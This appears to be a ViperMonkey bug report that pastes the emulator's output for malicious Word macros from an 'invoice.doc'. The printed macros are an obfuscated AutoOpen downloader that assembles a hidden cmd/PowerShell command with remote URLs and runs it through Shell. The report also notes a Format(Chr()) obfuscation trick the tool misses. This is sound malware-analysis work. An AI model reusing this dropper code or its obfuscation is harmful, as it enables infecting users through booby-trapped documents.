wdDjl = (5437091 * ijswwjNr * 3514721 - lZKTShvbpELNvN) + kMYpYhrvLl + Sqr(fwa) * (KbJDzko / 262438)
wCVGUOwBfi = UfilbBmor + Mid(KKkzhLEaEwDIY + "OzlRlJYlal0WB+0WBlet0WB+0WB.nScQ+ScQl/0WB+0WBp1ScQ+ScQXvc+XvcwHk0WB+0WB/?YUtwRKiqhFi" + dUVSHCqGnFJ, 9, 65)
NuITskvBb = (9602598 * NAfLwU * 4936868 - nDGpST) + nCodiRvOWSJD + Sqr(HmOH) * (SEB / 3548133)
rzFGPSu = (8175262 * ZJoEMnHs * 3633801 - zbrt) + wSlJtpR + Sqr(HBpzoAP) * (ULREVdqCiLQk / 9682701)
IurwQ = (1545400 * XNhTl * 3069440 - ziHoj) + XoT + Sqr(DRiPZowVcjbhY) * (WzqSlGjdYL / 2722596)
dSbwhjw = slELXNVnfQOU + Mid(CuPuiwiRCwBW + "cAzGftOKVIwSiNwpShOMe[30]+0WBx0WBXvc+Xvc)Xvc).RepLaCE(XvctDvXvc'+',[STRing][cHar]124).RepLaCE(XvcbyvXvc,[STRing][cHar]96).RepLaCE(Xvc0WBXvc,[STRing][cHar]3ScQ+ScQ9'+').RepLaCE(XvcwhtXvc,Xvc'+'CsmXvc).rOfODUQHGI" + jDsQuwLmzmdjX, 14, 187)
XbaEAskmsIL = (8203844 * SYpDhpzApWuUM * 4376014 - UsiwZWNPZa) + fNHnKuGjRZUd + Sqr(ZJZcKSkpqdFAoC) * (VEJPdq / 1986522)
EVKwZr = (7271367 * CMzOjFIAOfYPz * 7023409 - HpBp) + BmVrpLMQEzJ + Sqr(YjawSW) * (kUFlJ / 5811770)
kTKYWG = (290662 * UDInoVBr * 2923024 - IYUssvPVIrQJ) + oTrE + Sqr(wBMNom) * (MvLUuXoLHKzos / 5443913)
khYpDPEIZEO = wjwmftsZjjdv + Mid(YjwJjhPJaSjMFC + "ClwXvc,[STRing][cHar]36)ScQ+ScQ'+' )ScQ)'+'.repLaCE(([CHaR]88+[CHaR]118+[CHaR]99),[STrING][CHaR]39).repLaCE(([CHaR]67+[CHaR]115+[CHaR]'+'109),[STrING][CHaR]92) 2lOjjRzbHohudchPEZCwiVcJTmw" + LZsSB, 3, 161)
XDlTAWm = (5875751 * DMoniZs * 5768406 - iQcrXimtzi) + NGswJS + Sqr(HpfMzpwtEwH) * (ECGCRPXMikh / 6580955)
mRhCQlpcVH = (77360 * OIwTrdM * 7715931 - ozVSnsdZpmO) + NHEbhlGGW + Sqr(zMca) * (zkFdXPRSDvwk / 3750776)
zLkjo = (305408 * svmuB * 144806 - sJsGhOjCJqMCf) + kJqKwpBfkAmE + Sqr(PBZhZ) * (FrvlRiClAmGX / 3328524)
wqCKwzuB = WnVKHKwT + Mid(zQkuOdu + "PiLCwOUmzcfWents-d.c0WB+0Xvc+XvcWBom/Xvc+Xvcxrm0WB+0Xvc+XvcWBXvc+XvcC0ouYqjEcdDn" + hzfADBOUczz, 13, 58)
MipkARphs = (6722250 * IOiwUiOiXtzFB * 4182825 - CwjEwXTOVILIqU) + OwtJImFMTiLTQ + Sqr(cVrhAqitQ) * (UoAInJVXKdf / 9952586)
vaCXai = (2364504 * NNwjQWkDCktnT * 5221191 - dLUhGoTlwZKM) + JnwcJzTntwct + Sqr(RmP) * (AquihS / 2114636)
iQUjLII = (3486857 * DubA * 2052020 - KwuP) + RdTHCjMroEX + Sqr(WjYURFcUnK) * (wZL / 8719090)
tEDmWzLAjJi = UHmvkELrNY + Mid(TcBQAjJnMazoX + "wWB+0WBrk/'+'?http://0WB+0WBmrXvc+XvcwdCHwzljTFMU" + btDAtidV, 2, 37)
Xwaqz = (4843435 * FwAJsiB * 9522420 - ZiPUjCQLGZ) + jqO + Sqr(cirz) * (EpHjzYDfDMlkoN / 3448514)
dVcnLaAA = (7656756 * iaXHWkQXlO * 6961017 - hNrEwZkWiWHzkI) + oRvcwQzAQasiE + Sqr(JMKSjWwtfqohR) * (HTXWNrbFqmnfjN / 5188816)
DRwhDz = (5796114 * rjiZ * 2040248 - jAluumEoOzBtwC) + UNPDVXi + Sqr(mlSB) * (zBmWwWrWbwh / 3757016)
PAGiG = WiFWXdwWWnfzF + Mid(dBjNFTl + "XYNuwDsOnP39) ) AD" + srSuwHZXiqp, 11, 6)
LTJiYYzVs = (4982010 * aiX * 30444 - wpZc) + FiSHLTDXDQld + Sqr(jmF) * (vXu / 8219959)
EjWviCIwulM = (7516736 * TQipi * 7787103 - VZQccAQSu) + AulJ + Sqr(zjrNCw) * (ChzSYzqjiZiZu / 2233198)
hznXWj = (2445499 * DlpiBSuw * 384422 - DSw) + QmibXifKcQbNba + Sqr(LODlG) * (bMNsknAQXwYi / 6200531)
UZjZBvHTV = wZfiTibkWSOW + Mid(ZBwzIbkTrNMi + "jU0ScQ+ScQWB+0ScQ+ScQWScQ+ScQBScQ+ScvjwjOcipimjlzvcEQnjIYDa" + aLztQijjZFYESo, 3, 34)
SnmizSzVl = (1012974 * DfvSPUv * 2939970 - MuSo) + EtUQ + Sqr(lwqqWTWXk) * (jPw / 741985)
iLNislTiOj = (769814 * IvB * 4131637 - qkaiPWlM) + taOUUYMoY + Sqr(swLNXzwOkDvwTu) * (uLQ / 2283914)
ajnoLjj = (1365626 * lKGHIAijfqUWCd * 4894669 - WCjTHBJhvH) + QZNwcRA + Sqr(mEGP) * (RfEMbbQRiOoNin / 8219228)
RiNbl = wrToitsJ + Mid(GnqTkqmA + "btqHillsbai0WB+0WBpmfCwiEvppnw" + rKoZUinuiu, 11, 10)
picEKcv = (8736193 * QCVmSj * 4462370 - urnXZv) + PnFSsJfcwtL + Sqr(arABvXZTzGJdW) * (cHuXBJCruifNAE / 7110451)
QuYYnQcLl = (5024503 * tGpwXtps * 45087 - bmI) + bvwhXhbsC + Sqr(iwSWhWUiZjQXh) * (FNFiAIaEmEERDW / 2545097)
RchCQkkOri = (8508294 * BEwNabSKdjtNZ * 2598746 - NwcK) + zrtRdKOSQ + Sqr(zVjoPSk) * (ilmTXchrMqz / 738872)
uzKuM = BYMAhOJSurEB + Mid(nbQnjBbw + "FHNLCaCmBhkHwwWiKhWYdDihDwtiX+'0WB+0'+'W'+'Bp+vxpe0WB+0WBvxp);foreac0WB+0Xvc+XvcWBh(0WB+0WB20WB+0WBPqas0WB+0WB'+'f0Xvc+XvcWB+0WBc0WB+0WB inScQ+ScQ 2PqADCX){t0W'+'B+0WBScQ+ScQry{0WB+'+'0WB2PqYYU.KjVDo0WB+0WBLq0WB+0WBdWnlLXvc+XvcGFhAjjC" + GTqClKYizdJWlf, 30, 198)
GRiZjhOm = FDQmvuwLDc + uCPzJKfj + VYZFQcMzarP + ChrW(34) + NAuKiXhkw + BCqGIlqLC + RsPmX + zhVSfzbowBG + uGbHFpPu + SBazRVnwS + UrDBKwXNc + RiNbl + wqCKwzuB + tEDmWzLAjJi + wCVGUOwBfi + UZjZBvHTV + pzwmTSnCD + OYQfji + JoXsPHY + CwjviEpA + uzKuM + jaruKt + ujjCIFcZNi + jaNsCf + DrrVvDiU + YIuERWh + mQMHa + dSbwhjw + YiGJDdHkO + khYpDPEIZEO + EwSQQRuiJfA + PAGiG
ldKzYqdTR = (6992730 * zXSMMDSRrFI * 1081906 - PYl) + NuJKcsNa + Sqr(wiZUqsuwRphhzf) * (Ptsc / 4514312)
IiAEDFXac = (4165112 * FlPHorWOPK * 1064289 - iDrPPEuizkDnNi) + QkVUTvK + Sqr(wiXRYWdMM) * (kRA / 2266839)
qIWimiUib = (8714519 * WGiuq * 7237241 - Xav) + rnVMWXqldM + Sqr(EuNzlJf) * (NGiHC / 3130657)
End Function

-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Sub AutoOpen (): 7 statement(s)
Module None
  Sub AutoOpen (): 7 statement(s)

Function GRiZjhOm()
^
Expected end of text (at char 626), (line:10, col:1)
-------------------------------------------------------------------------------
VBA MACRO fXAmrsMQl.bas
in file: invoice.doc - OLE stream: u'Macros/VBA/fXAmrsMQl'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Function VYZFQcMzarP()
On Error Resume Next
XSMEXzO = (1989820 * nIuWFWmiaIEGG * 184422 - SqlIG) + zMCh + Sqr(lNpaTJrkccNHM) * (djBlIpMLCjwNhE / 7443724)
FrjsV = (8114424 * rpLlYsApuOWXhE * 6719556 - McXvatsj) + KFcFcnzm + Sqr(WSAKEqBwNa) * (nViPnVbPuVzw / 6106751)
kuhiSzlWhSi = (2195479 * nXjSbY * 7157752 - iQY) + Yht + Sqr(jSpmpbMSGL) * (sKYVUzqDiN / 9109102)
JBhYa = zBdQlHdRS + Mid(RctNvT + "iProYpRQwh9uz2dAquM" + NBowp, 7, 1)
TLwRYKEC = (4034253 * NDmIAqTGri * 5106673 - rTwjjaI) + lEKSVElaj + Sqr(RoDjz) * (YGqCXD / 711520)
rawJufOnlW = (4848219 * PlwVAkzbr * 8808308 - sTmvF) + ajNlOLWiLckGG + Sqr(AlrGSpFfaT) * (MmnVET / 8887265)
jmMdtrkDvn = (9460461 * dXLpBaampI * 2502016 - kLJHcjd) + nuFuYB + Sqr(iNGIqJcE) * (ZCFrOSqSG / 8538378)
wcQNw = RCUvwOUDiBrRip + Mid(YLKQLPqt + " 2UdizGNIMCMAkj0RpZwVCAfnknCYhGsh^ell&&!%QqzwPcS7" + KuEBhdPRkTYk, 32, 11)
khzwqdNziS = (179384 * DnnjZzE * 9907518 - UZclVKImG) + XtGSkjUTzjCM + Sqr(jVffdkaFmZ) * (iwjW / 7310879)
wuTbsXOLN = (4231899 * nUwdbzUD * 9883559 - dHSb) + uvPp + Sqr(iCfkkUBnnz) * (hbIOriCuiKakVb / 6026529)
tjqSbMPSzIj = (1331864 * WCnGwqulp * 2359607 - HwhQBGwfKNQLs) + HVDRKIF + Sqr(WQkKrl) * (OcCWKnldKiO / 6007726)
TNSWjiaP = aiOcnQhqjSR + Mid(zCrYjz + "WX%SURDEdJuCbofz1YpY2u9WKIu" + LIHjhaal, 3, 8)
qiYnCTXnonU = (6650234 * dGQFKtPFzPYIX * 3668687 - tMMirzUE) + jsB + Sqr(DSdwl) * (ZjdTFlcKNfX / 5468634)
KWmQATG = (8008620 * LoJfPrwI * 288768 - ZRsDCi) + bWotqQtGtOo + Sqr(YdEC) * (BPJwhunQfN / 8886706)
YVnQFbnELSp = (7665032 * ZHitvGBcUYQYW * 5462388 - BcmV) + MBmVnu + Sqr(BcKCwSzph) * (ihzBCjrs / 4990861)
zFnSqfnU = wRGquloVqUiDnt + Mid(QfrPKuvk + "7!UkoPvjkjiLl" + pihVrt, 2, 1)
uHUfWaLlS = (873276 * NKVvcNjJ * 4204314 - IaZuT) + MLYjTCC + Sqr(VbUofFmF) * (BLWBZktR / 4033227)
PWZoMU = (5727599 * BurLDUORZXDL * 1509477 - aAsviQaCDXiwQm) + iPwYOVakJ + Sqr(LqVfzwAODwj) * (VqN / 2478263)
jUhEXF = (9763097 * TcGDbquIFmtd * 9885668 - jKSZFX) + ZhiN + Sqr(riuHLBWjQjfH) * (ilrsNV / 5061358)
dPiDnEDJd = SfPCbZYj + Mid(UNGAizAJ + "nTKwYVpZwKPYqjnGQTj7cICQPvzAw" + RFWmacz, 21, 4)
UTblFLwVobK = (6699033 * XuuzXlHRcjV * 5606564 - miTkTNjNdjpYM) + KDzZCfODw + Sqr(RcSYt) * (uQkmhiTEFA / 513568)
qHGBBWtcJw = (4206139 * NEYKKwNcHSwji * 6388053 - SqvI) + vmZoatc + Sqr(uTBcsJiHsSH) * (jFnzmGwBL / 7292162)
iKNzATa = (2967151 * uCwb * 6100224 - kQUcinQVnZw) + ZYn + Sqr(nqzbCTuaZI) * (whq / 2116055)
cwubjUDHFPX = SQLYnHbmtuXqnw + Mid(NzbrGP + "iIorozdHbGInI7GVwnkTC2lBpQhwdASPzvGz2cY2jqd1t" + DfKKalNhTMmoYN, 26, 6)
GvtUwFc = (4247676 * DZiUnwOqZQqwY * 6978572 - zulAVWO) + NiTcCfWaQUNzwQ + Sqr(dWLMl) * (AVpdocKwQAWpcV / 8085160)
mSUXwRrC = (3863244 * LLCqZbK * 6982015 - ihIdKKc) + Mid + Sqr(OCMdAUqKVuWIDz) * (jFa / 8744179)
RdiNY = (5948515 * TuconqMMbJhqV * 9468246 - pMZHT) + znLzaKJs + Sqr(lPwEuIkpMdizt) * (pShCrusAlKU / 3739894)
BNUpdJiCrzw = bIhqHDXz + Mid(QTZDLMrSOO + "Pq1PDhwdAScjmc%!TPAk1Cq" + cEiQ, 6, 11)
AibILksdw = (520659 * dnkbCTBzzbd * 2545605 - XbRArp) + nHVsNEvH + Sqr(YlVdmnD) * (bwlVNjOwto / 9610607)
bUJUYNcz = (1029959 * HaJjzWSsO * 9530160 - tfYpIjak) + lYsDzaaG + Sqr(UQzCsRLMwpQkn) * (ANchIY / 8079329)
EQKJOjpaC = (1828297 * NhpihF * 6371304 - wLwuhaqm) + iwml + Sqr(nwLspXs) * (iEKDjVC / 6633105)
hjCnA = RoMjDUj + Mid(RrQCAEWN + "kYRset %wnskou0w8dq4G" + pbGCVjsHRw, 4, 5)
CuiihWlEWm = (5672616 * jiqVjZzpXSzOJ * 8612288 - ClzRnKnb) + bLLppFopvujp + Sqr(QLauEzJvfidQOY) * (MpkvDBuYNK / 9991320)
dXiWDMCIKjI = (3379215 * JTOJjFVmr * 8681727 - oRtw) + hYbhHcFKo + Sqr(uWmNjEhflMT) * (hIDuVwi / 1369360)
hrlNpFofr = (7277045 * zvfl * 4634699 - WhNEVzKzzdJ) + GlI + Sqr(JNrTdMGJjjA) * (YqhwfzJDwOz / 6959084)
YSGRiBPXFi = GPSUYoTTnlv + Mid(utW + "Dfcjmc%dXXctruRQncsZoC" + utrWoQJii, 3, 5)
ubHzE = (7263723 * NHUaROVEjzmLE * 2856111 - bqA) + uqLnadmvc + Sqr(rYvb) * (FmkjrMiUHzlP / 704557)
KphurQqMX = (6475487 * vSab * 8335732 - CUuw) + TswobqkNJR + Sqr(KIQLVDqpOjNV) * (ZzUjl / 545551)
phtIA = (3613602 * jNspVTVuipXp * 783280 - RKfj) + dFivFXnPdWAbGw + Sqr(avX) * (zkUujtpj / 1321210)
ICCijHlKu = DvrncAAANmSuEG + Mid(aEYow + "obVVkaojl3qvToGaA4iQnGXTDEdJcICQjS%=^Xp" + aIwKWJbE, 25, 13)
QhdjvXDXn = (3083449 * jzzMwZCJQaik * 662556 - hcVEfY) + EkJWuTqfZBPW + Sqr(CFuLioOhl) * (sCGR / 6371900)
sfcnlZPB = (6351637 * vWrCcMoqBFMd * 8360586 - ONcPbhJW) + KHSiRUoCIwkF + Sqr(fZZsGVjjBEuhd) * (iCFzfZfjvKiW / 4176063)
JwJfnwqPGVS = (2516276 * DfH * 3642795 - iCpibop) + JDXw + Sqr(jKzDzFjOziPK) * (ATjzZnOJGbN / 4487693)
wvBzjlJiQz = fJECEokAR + Mid(SiDsYiNQrCj + "Gao4AsAn%SU8basDEnvOmBnPUKiTRd" + nJjOJKzB, 9, 3)
FJIYKUf = (7050918 * iailfbOwqd * 7354267 - YAKQdwtlc) + XCo + Sqr(fDOzJNBEEPURVD) * (pPFmvAqdEzQk / 9829704)
hHrJHpnF = (921132 * CfzjwKitT * 4669850 - TwvwLbpzn) + SQszoaKztdCz + Sqr(MoToHcGWl) * (TjuhHm / 7858295)
iBDELVW = (8998027 * Qnk * 2888679 - hHkX) + ZuaTTiIrmiVjR + Sqr(CZSusDNEiB) * (qcZOHArjdMT / 8645964)
cqTnAarXPjj = rjYWrmmipC + Mid(AfB + "CGzkV7mP8=p^o^w^er&&set 0YjVL" + FiYZYrnVaMi, 10, 15)
bHwHwGiO = (6082148 * dzoUjjGSsE * 3728582 - WVw) + ZNjsnzO + Sqr(rGTbwtQRWiCmhi) * (wIuAQMRqD / 7412490)
TzQHM = (1577087 * VtnuijqdcM * 6013495 - wnCjrSM) + qkkktzwlZQQ + Sqr(qNuXjjYDrFzm) * (ZBcKlwlaV / 8126448)
nanhNHAz = (7149594 * DBikE * 764722 - wqdlt) + wItJvkkwHT + Sqr(VbnRiOVWJNjhtS) * (BnpmvPjfoqrQ / 5022377)
JHZBdBi = bzzuCMfk + Mid(DMfONsUf + "dfjS%! lf0PGitXQ98YTZtcQsfdMojZDYlEdoR" + MZlcFid, 3, 5)
VYZFQcMzarP = hjCnA + cwubjUDHFPX + YSGRiBPXFi + cqTnAarXPjj + wvBzjlJiQz + JBhYa + ICCijHlKu + wcQNw + BNUpdJiCrzw + zFnSqfnU + TNSWjiaP + dPiDnEDJd + JHZBdBi
FALwijPcQ = (8906322 * cIPjQQa * 37713 - IjzIUXimwwbn) + uRICkwMDKltXKm + Sqr(zPYPrZSWDDbLwc) * (RSiiOzaOjb / 7582016)
ozwDkKkim = (6374213 * LwYcvFzIn * 2826591 - iTatjYCYA) + nDlUXzSQaPpzr + Sqr(iFlC) * (OXoYNTi / 5661827)
riLjOjjXs = (7617592 * XFjs * 2568727 - kicTKanzCmTzfX) + sWb + Sqr(OibTHjqRciP) * (faZdoCKjDY / 6384208)
End Function

-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Function VYZFQcMzarP (): 57 statement(s)
Module None
  Function VYZFQcMzarP (): 57 statement(s)

-------------------------------------------------------------------------------
VBA MACRO WzjunIotaz.bas
in file: invoice.doc - OLE stream: u'Macros/VBA/WzjunIotaz'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Function FDQmvuwLDc()
On Error Resume Next
qihDaiEn = (7047872 * NquXDhFbEw * 9498682 - FiOnFXNooYu) + vOmd + Sqr(cRrkmpvUZl) * (kIUinRbX / 8200932)
ZVXZcFfP = (2758950 * jXwtpv * 7729022 - ovcwchFAT) + STflrDjDLSin + Sqr(mQOlUo) * (AzfzzaIMrBhQI / 6625340)
CQmzISULkc = (4572236 * iufsNljVwAjpf * 2704995 - kMaoTninQvTLKl) + fjPWjq + Sqr(wfOPKwzuThdE) * (EhtEHzHPwtaZkl / 4112500)
vPEZqLm = ZzcqzwoihvU + Mid(VUDlOzoEq + "FhdnfhTmrzTrCvMjjYz" + ZhkChCEBTDk, 2, 2)
fJWPAako = (4981530 * bttYvz * 343326 - mSBiQQtTHsUw) + XNPuBWVPI + Sqr(MDVOcjOmGmT) * (UJkQS / 6196445)
RQSqknXa = (6156485 * vWdlEjdduc * 6138981 - ijoauCRk) + GNKIMtGKlEpjd + Sqr(qakKvGkrdGvh) * (UJVPPvmpIScr / 7548023)
dAtBRmZOqoo = (4401616 * IYqoAoz * 166578 - sViIO) + ENfFmAPoaor + Sqr(iHH) * (IjQjEPG / 6189918)
YikpblIf = aJiFvPu + Mid(DdjqWcmhF + "KZVzfZnztboqw eqw &         KZPwC" + IzmKOjjZzmnq, 11, 18)
lTLNKRrUJQh = (621617 * jWNZLt * 8566913 - awzq) + AFWLHPK + Sqr(jWlwrZINbVapTi) * (wNDAJUmwt / 7750317)
rWUXjzZBAB = (2269273 * BcuHcsTAAcdT * 3835477 - swcXAARcazE) + BctZrI + Sqr(kGkjOwzAic) * (kkjYbnU / 4399733)
CftcFpX = (7587642 * XYCwC * 2651902 - rGbkVnjdIROZ) + Aiz + Sqr(NUic) * (GFU / 4007731)
IFnoF = WIMXtRdbXOPMhk + Mid(skPAJnO + "IswZuuiqEj   /V        pUKz" + BaNvrifoHzGPs, 11, 13)
DwhdoGz = (3063456 * TVv * 5029789 - CozrGwWwXl) + jjzWlJYIlA + Sqr(FrSbfTOdb) * (toC / 1736326)
QjDVBsndQ = (7262381 * haZkLth * 1808217 - WtPJzm) + hajGYfSDjuKh + Sqr(vwNzpriMQRMJ) * (LJazT / 5772984)
OowoJIBpQII = (2611933 * HcZf * 9078033 - IVA) + iAWUZf + Sqr(UGEcRI) * (wPUJdjbj / 3764705)
OOdaszmpw = NihjLkFJbB + Mid(PwwvTWFzjLo + "uzKiF  jCHHPvYdCWDGoltd" + wjiiOqAV, 6, 2)
PEhjzoHdjIc = (8269887 * aRilBHtnciZiz * 5425269 - KFwzl) + OGbzwLccwKf + Sqr(oYG) * (roNJvDEZKR / 2559708)
VtiBBjqMz = (8606929 * jhFFJLKC * 7749564 - vQK) + UtdLDCfNK + Sqr(cqKCCmhwjGP) * (azfMvbCkR / 8517602)
jMsClcsAOb = (7112101 * jfjFJqqVX * 3561011 - SBIABWzhD) + rTijqG + Sqr(LaU) * (FkSWFbotPuF / 1469005)
nbilQ = oUoUuoaqPBdJ + Mid(qkvkwXJcqUCi + "wBqZ /c   dDNwbTWhUvtDO" + iwsQpBjojE, 5, 6)
PpikICFaQfQ = (3810804 * ScJMAZYXaL * 752878 - VId) + IKfzuwwFSLX + Sqr(tGztFoRKAkwSo) * (PTrtnfKjdCcUj / 3939524)
YGqGSjbaMZ = (6186167 * upC * 5873628 - ULJvjqSjY) + NKBidN + Sqr(YrjKczRl) * (zdwp / 1518212)
zkjXzSd = (3078622 * OvHhz * 1262968 - rzFoPKilCqVQ) + vUrOs + Sqr(ctpni) * (zAmn / 4256249)
BKitCoHTFFn = MLnaBNULhM + Mid(LBZTkmKwzrNQp + "Emqjas jjjsjjhAwzMcqHmCJ" + vvInnTmMH, 4, 10)
wwFpN = (1976911 * zGDJVGqjFhNhO * 2754735 - lsjdqonIowzYk) + bMuvYr + Sqr(KlimwDYNoiIVaY) * (ODT / 1350554)
zRdQUzuP = (2326592 * PKVhGSiUSlqWsa * 1308635 - qrk) + vzUrDJ + Sqr(YwrcRfAvaMFsk) * (sWsRwiwwMNbWw / 651791)
VKWzYw = (2965572 * iiwaGWbJYrri * 6192062 - kzAVCdbZEbuc) + iAvizjkibvK + Sqr(VuisHqTPXccV) * (AlOEZVfil / 9468875)
RatBKBIkzu = aRDrKWICbWL + Mid(FTqFOuDtp + "qiNRinZ  %C^om^S^p^Ec%   QaTwDU" + ivCMXjSJvwj, 8, 18)
osAKzQH = (1749041 * zZPwvUTQTZj * 8648177 - CVXbkER) + vmEBwDad + Sqr(cKZw) * (TRzpFszhztO / 5576844)
IftdIoTua = (8417408 * GbqarNBnLwzRsm * 2608011 - VTXRCFbvwZZOoK) + VMbXfmkijjjG + Sqr(roz) * (TAXuF / 5110210)
vWoFBpaTw = (9407110 * zvb * 3364206 - nzAIcEROiKkl) + hVzXDJaNunmt + Sqr(liXfrJ) * (vwhFvP / 6929290)
RlbniQ = dJuwwHID + Mid(ihishzlaMNBX + "mwwcQUFGRwqcmd uhpo dojDhsnRC" + HwuVdCai, 12, 9)
ZMisRufZ = (8428394 * Iwzkzs * 703571 - EzrZUDVs) + BQwGjWMnZI + Sqr(GwDrzKkPNiQ) * (iUzTjvXjS / 342418)
YSmnvQlsGaP = (9241187 * JvJZZnwXjQP * 1075403 - AZKTGiClpNllCd) + BcUFCRiDAKpah + Sqr(rREsYiVNNMXuA) * (iYnXKEW / 1434034)
vFIBjID = (9361540 * CiRWK * 1701879 - DUszvh) + iuWnOHhIQPVcX + Sqr(PdWkVup) * (RzDEvTZHVmqus / 3120015)
cwnTWnSRw = zlqnIStbAbrR + Mid(asMNONTmrCTb + "FRasjsdiuwWNQaOcqZYzsUKqBnOTTpTUUAVvEwjqjzqVv" + skotcoZ, 4, 7)
Kvmznnos = (3276769 * jOzVSwfjlHLDp * 1386158 - KzhdPKEIRwIY) + uhWuWIEOXOsP + Sqr(zWlXhnSMlq) * (CBkbF / 6530127)
aPAYGq = (4865981 * XqpEl * 3317847 - hCYmipOjLi) + tOUGcIqM + Sqr(UXdIpphrrKSAG) * (FQnwIUoVZsinKp / 3393487)
PRKAl = (2871126 * NZZNJYQztH * 4393495 - APWnPPpoJirD) + wkZBfsZcdFajlw + Sqr(XBOMRjYdMAvab) * (WfiVPKnqv / 2729758)
wVWoLFJ = ispdtNCAhlwo + Mid(WNanEldWkKLN + "WBDbqwuiqwh hiqwoeqwpi pAjXPGsUwaz" + ItjldZzworf, 4, 21)
RzTXzNZj = (5019212 * LWlEjGAwUUBTQ * 8648805 - HiIOLDj) + kjdtiwzKQkDvGj + Sqr(lBTjRwZozISKT) * (sOpcZBYCNWBUJ / 7139600)
dsSiTEQ = (6728435 * zKblX * 2506480 - WRwLsjkLmjQXV) + ThfUio + Sqr(fwonFkLHjhWfWS) * (apjWc / 2023637)
AabjGvEwwH = (2916095 * tNNzidvQoYvr * 3864857 - XmvZE) + wus + Sqr(vHGqoLMmPIvarl) * (inRhGaarPR / 8762218)
NYURdbDri = zMXKvHdSz + Mid(ITimSaH + "iPNBDsQGakjbmEKCzRNvOTWTnDqihDjBqLHEwVU" + BjSzCH, 9, 4)
SztaRks = (6156873 * RzF * 5570731 - KHioEuRwfA) + wQKfzKk + Sqr(qiGfjhrDdYu) * (sSciSjr / 1696428)
KHGpf = (8218208 * WlqE * 9293714 - wAGGMVm) + EcBGMrnakicjoc + Sqr(QSctk) * (VoclX / 981265)
EmlbA = (5613106 * nGXfcdq * 5972344 - wzSvAIcQjVn) + okbCninYVpmK + Sqr(wbEAL) * (WlhjtRQUjAVrjp / 5319771)
EDGOIzX = DGMqwVODWWF + Mid(cMJbMPzvK + "IqcIUqu ioqwu epoqw jdjska dhtnUDZoAswhJoqspGlFsbHHV" + aPjNlXVQrYukJ, 6, 24)
lLRwiGYlEQ = (1887130 * WDSfRZjJ * 5636922 - zdFWNY) + rSMtRjwi + Sqr(IKmFHa) * (twSzZp / 5872079)
RXawiUShElE = (344961 * uwGuvapwK * 1099774 - wdEXVzCQVWXI) + QLYuZwBn + Sqr(SXhqn) * (hVqvBnQ / 3162663)
dkDtXzvuzEI = (8767876 * dcnNjEWphdjCvX * 2312076 - zlL) + pfJiizjcHl + Sqr(ufw) * (VOZiNBsIJkfaSj / 9497696)
jJBjcfU = WvdpvDGPGNHmEj + Mid(QUWREHDi + "hwrIZMkdEpjfAKjPfQr      zjijiiPCSDjJ" + XOGYAzCVhzF, 20, 6)
FDQmvuwLDc = RlbniQ + BKitCoHTFFn + cwnTWnSRw + EDGOIzX + NYURdbDri + vPEZqLm + wVWoLFJ + YikpblIf + RatBKBIkzu + OOdaszmpw + IFnoF + nbilQ + jJBjcfU
niFMGwSFi = (6224008 * uivdoXwb * 8085538 - ZGzfzWzzDZNs) + wVpSr + Sqr(DJuwqHJMfvIdrt) * (NYHj / 1819686)
cTHbGJBYz = (1684975 * EEimjiIGYnJTBu * 9203716 - zCkzhliV) + BTrjFlPXwDY + Sqr(GbiPA) * (WSzF / 6290769)
KnBVNLRSW = (1796808 * iLQ * 5097552 - BuwEqXJ) + bBhjdMCkwmjsD + Sqr(BLflCD) * (wXz / 5089518)
End Function
Sub lZFUFoiihGosi(vwsOuUphvwsw As String)
On Error Resume Next
lBTwYvjNf = (3610452 * SWJnswPiCMaXc * 8169533 - uEsVlaRjFq) + DIhJZhCJs + Sqr(KXES) * (nHp / 2261922)
irGsBcVJh = (3712739 * nEz * 3182823 - HwsmsUSzZkhnD) + nKttMkwQjhE + Sqr(UqrTFZoZ) * (qOCSJYISRuhFw / 6166318)
Shell vwsOuUphvwsw, 0
qtKlfwqQL = (6710885 * zcGGiHz * 5855037 - wvqaCMozPmWS) + KAavoIcE + Sqr(DTwJvCMnn) * (bKjvCkiTIs / 272950)
YMCdSFfiS = (8306614 * jWr * 4455404 - sRllbwnrL) + FXLGpULYf + Sqr(wjcz) * (EVrZaNDfHp / 407390)
End Sub

-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Function FDQmvuwLDc (): 57 statement(s)
INFO     parsed Sub lZFUFoiihGosi ([vwsOuUphvwsw as String]): 6 statement(s)
Module None
  Sub lZFUFoiihGosi ([vwsOuUphvwsw as String]): 6 statement(s)
  Function FDQmvuwLDc (): 57 statement(s)

Traceback (most recent call last):
  File "/opt/ViperMonkey-master/vipermonkey/vmonkey.py", line 296, in process_file
    for (subfilename, stream_path, form_variables) in vba.extract_form_strings_extended():
AttributeError: 'VBA_Parser' object has no attribute 'extract_form_strings_extended'

VBA Format() function missing? (includes workaround patch)

A VBA obfuscation found in the wild uses the construct:

Format(Chr(3 + 10 + 5 + 5 + 44)) or
Format(Chr(5 + 14 + 8 + 7 + 65)) to represent the characters "C" and "c", respectively.

VMonkey 0.07 drops this character from string reassemblies, due to not supporting Format()?

INFO     calling Function: Format('C')
WARNING  Function 'Format' not found

output dump of the run is

$ vmonkey dd0adccad0039f61c953ff7014f8c8aea50df0cf
 _    ___                 __  ___            __
| |  / (_)___  ___  _____/  |/  /___  ____  / /_____  __  __
| | / / / __ \/ _ \/ ___/ /|_/ / __ \/ __ \/ //_/ _ \/ / / /
| |/ / / /_/ /  __/ /  / /  / / /_/ / / / / ,< /  __/ /_/ /
|___/_/ .___/\___/_/  /_/  /_/\____/_/ /_/_/|_|\___/\__, /
     /_/                                           /____/
vmonkey 0.07 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues

===============================================================================
FILE: dd0adccad0039f61c953ff7014f8c8aea50df0cf
-------------------------------------------------------------------------------
VBA MACRO EwiAcaJrEiEa.cls
in file: dd0adccad0039f61c953ff7014f8c8aea50df0cf - OLE stream: u'Macros/VBA/EwiAcaJrEiEa'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Sub AutoOpen()
On Error Resume Next
   Dim SXpODS()
ReDim SXpODS(3)
SXpODS(0) = 93
SXpODS(1) = 8992
SXpODS(2) = 9459

   Dim nfbmc()
